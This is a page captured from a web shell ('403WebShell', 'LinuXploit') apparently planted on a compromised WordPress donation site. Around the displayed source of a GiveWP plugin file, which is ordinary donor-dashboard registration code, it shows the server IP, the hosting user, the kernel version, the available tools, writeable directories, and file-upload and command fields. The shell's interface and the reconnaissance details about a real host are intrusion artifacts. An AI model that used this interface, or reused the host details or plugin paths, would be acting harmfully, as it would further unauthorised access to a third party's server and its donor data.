Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.226.17.3
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/DonorDashboards/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/DonorDashboards/ServiceProvider.php
<?php

namespace Give\DonorDashboards;

use Give\DonorDashboards\Admin\Settings;
use Give\DonorDashboards\Admin\SuccessNotice;
use Give\DonorDashboards\Admin\UpgradeNotice;
use Give\DonorDashboards\App as App;
use Give\DonorDashboards\Block as Block;
use Give\DonorDashboards\Profile as Profile;
use Give\DonorDashboards\RequestHandler as RequestHandler;
use Give\DonorDashboards\Routes\LoginRoute;
use Give\DonorDashboards\Routes\LogoutRoute;
use Give\DonorDashboards\Routes\PasswordResetRoute;
use Give\DonorDashboards\Routes\VerifyEmailRoute;
use Give\DonorDashboards\Shortcode as Shortcode;
use Give\DonorDashboards\Tabs\DonationHistoryTab\Tab as DonationHistoryTab;
use Give\DonorDashboards\Tabs\EditProfileTab\Tab as EditProfileTab;
use Give\DonorDashboards\Tabs\TabsRegister;
use Give\Helpers\Hooks;
use Give\ServiceProviders\ServiceProvider as ServiceProviderInterface;

/**
 * @since 2.10.0
 */
class ServiceProvider implements ServiceProviderInterface
{

    /**
     * @inheritDoc
     */
    public function register()
    {
        give()->singleton('donorDashboardTabs', TabsRegister::class);
        give()->singleton('donorDashboard', Profile::class);
    }

    /**
     * @inheritDoc
     */
    public function boot()
    {
        Hooks::addAction('give_after_install', Settings::class, 'generateDonorDashboardPage');

        Hooks::addAction('admin_notices', UpgradeNotice::class, 'register');
        Hooks::addAction('admin_notices', SuccessNotice::class, 'register');

        Hooks::addFilter('give_settings_general', Settings::class, 'register');
        Hooks::addFilter('give_settings_general', Settings::class, 'overrideLegacyDonationManagementPageSettings', 999);

        Hooks::addAction('give_embed_head', App::class, 'loadAssets', 2);

        Hooks::addFilter('query_vars', RequestHandler::class, 'filterQueryVars');
        Hooks::addAction('parse_request', RequestHandler::class, 'parseRequest');

        Hooks::addAction('init', Shortcode::class, 'addShortcode');

        Hooks::addAction('rest_api_init', LoginRoute::class, 'registerRoute');
        Hooks::addAction('rest_api_init', LogoutRoute::class, 'registerRoute');
        Hooks::addAction('rest_api_init', PasswordResetRoute::class, 'registerRoute');

        if (give_is_setting_enabled(give_get_option('email_access'))) {
            Hooks::addAction('rest_api_init', VerifyEmailRoute::class, 'registerRoute');
        }

        if (function_exists('register_block_type')) {
            Hooks::addAction('init', Block::class, 'addBlock');
            Hooks::addAction('enqueue_block_editor_assets', Block::class, 'loadEditorAssets');
        }

        // Register Tabs
        Hooks::addAction('init', DonationHistoryTab::class, 'registerTab');
        Hooks::addAction('init', EditProfileTab::class, 'registerTab');

        Hooks::addAction('give_embed_head', TabsRegister::class, 'enqueueTabAssets');
        Hooks::addAction('rest_api_init', TabsRegister::class, 'registerTabRoutes');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit